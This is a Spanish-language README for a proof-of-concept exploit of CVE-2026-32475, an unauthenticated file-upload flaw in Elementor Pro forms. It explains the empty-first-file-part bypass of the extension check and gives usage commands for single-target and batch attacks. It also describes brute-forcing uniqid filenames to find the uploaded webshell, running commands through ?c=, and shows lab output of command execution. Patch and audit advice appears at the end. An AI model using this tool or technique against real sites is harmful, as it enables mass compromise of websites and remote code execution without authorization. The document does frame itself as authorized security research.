
Prueba de concepto del exploit para CVE-2026-32475, una subida de archivos arbitraria sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye descubrimiento automatizado, subida y ejecución de comandos con limpieza.
PoC para CVE-2026-32475 (CVSS 9.0 Crítico, CWE-434): una carga arbitraria de archivos sin autenticación en el módulo de Formularios de Elementor Pro que conduce a la ejecución remota de código. Corregido en Elementor Pro 4.2.2 (2026-08-19). Reportado por Tin Pham (TF1T) a través del programa Bug Bounty de Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.
El campo de Carga de Archivos de los formularios de Elementor Pro procesa las
entradas subidas en dos bucles separados con semánticas diferentes
(modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- aborta TODO el método
}
// is_file_type_valid() ... // nunca se alcanza para la entrada #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- omite solo ESTA entrada
}
$filename = uniqid() . '.' . $file_extension; // extensión controlada por el atacante
move_uploaded_file( $file['tmp_name'], $new_file );
}
Al enviar dos partes de archivo para el mismo campo de carga — una primera
parte vacía (filename="" → UPLOAD_ERR_NO_FILE) seguida de la carga útil
.php — hace que validation() retorne antes de que la lista de extensiones
bloqueadas vea la carga útil, mientras que process_field() aún la mueve a
wp-content/uploads/elementor/forms/<uniqid()>.php, un directorio web público.
Solicitar esa URL directamente = ejecución remota de código.
La carga se gestiona mediante POST /wp-admin/admin-ajax.php
(action=elementor_pro_forms_send_form) sin autenticación y sin nonce.
El post_id, form_id y el nombre del campo de carga son visibles en el
HTML de la página pública, por lo que todo el ataque no requiere autenticación.
Objetivo:
Atacante:
Objetivo único (descubre automáticamente la página del formulario mediante sitemap/página de inicio):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Página de formulario explícita:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Modo por lotes (sites.txt: un sitio por línea — base_url o
base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
Formato de lista JSON:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Ejecutar un comando en una shell ya subida:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Predeterminado | Significado |
|---|---|---|
--url | - | URL base de un solo objetivo |
--list | - | archivo de lista para modo por lotes |
--page-url | --url | página que contiene el formulario |
--command | id; hostname; uname -a | comando a ejecutar a través de la shell |
--cleanup | desactivado | autoeliminar la webshell después de las pruebas |
--field k=v | - | sobrescribir un campo de formulario autocompletado (repetible) |
--tail | 0.3 | segundos antes del tiempo estimado de carga para el barrido fino |
--step-fine | 1 | paso en microsegundos del barrido fino |
--full-second | desactivado | fuerza bruta del segundo completo de uniqid (anula la desviación del reloj) |
--attempts | 1 | intentos de carga+barrido (nombre de archivo aleatorio nuevo cada vez) |
--max-probes | 600000 | presupuesto de solicitudes de barrido por intento |
--workers | 50 | hilos de barrido en paralelo |
--insecure | desactivado | ignorar errores TLS (objetivos con certificados autofirmados) |
--out file.json | - | escribir el informe como JSON |
post_id, form_id, el nombre del campo de carga
y todos los demás campos del formulario; autocompleta todos los campos con
valores plausibles para que los campos obligatorios pasen la validación
(sobrescribir con --field).admin-ajax.php.
Nota: success:false con un objeto errors vacío aún se trata como
cargado, porque la acción de Email predeterminada lanza después del
movimiento del archivo cuando wp_mail() falla. Solo el rechazo del propio
campo de carga (file type is not allowed) cuenta como bloqueado.uniqid() = 8 hex segundos +
5 hex microsegundos. Los segundos provienen del encabezado Date de la
respuesta; la fracción de subsegundo se estima a partir de
(t1 - date_epoch) % 1 (preciso cuando los relojes del atacante y del
servidor están cercanos). Un sondeo keep-alive (~30x más rápido que una
solicitud por conexión) barre la ventana de movimiento con resolución de
microsegundos; --full-second fuerza bruta el segundo completo cuando los
relojes están desviados.GET <shell>?c=<command> ejecuta el comando;
--cleanup elimina la shell mediante ?x=1.| Estado | Significado |
|---|---|
vulnerable | shell subida y comando ejecutado — parchear ahora |
blocked | campo de carga rechazado (parcheado 4.2.2+, campo obligatorio, WAF, captcha) |
uploaded_no_exec | archivo colocado pero nombre no recuperado (reintentar con --full-second) |
no_form | no se encontró ningún formulario vulnerable en el objetivo |
error | error de conexión/red |
docker-compose.yml + setup_form_page.php reproducen el objetivo vulnerable:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# coloque su elementor-pro.zip obtenido legalmente (<= 4.2.1) en el directorio del proyecto, luego:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Actualice Elementor Pro a 4.2.2+. La actualización cierra la brecha pero
no elimina las shells que ya se hayan subido — audite
wp-content/uploads/elementor/forms/ en busca de archivos .php sueltos.
Solo para investigación de seguridad autorizada y uso en laboratorio.